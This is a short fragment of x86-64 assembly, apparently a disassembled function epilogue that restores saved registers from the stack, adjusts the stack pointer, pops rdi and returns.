mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret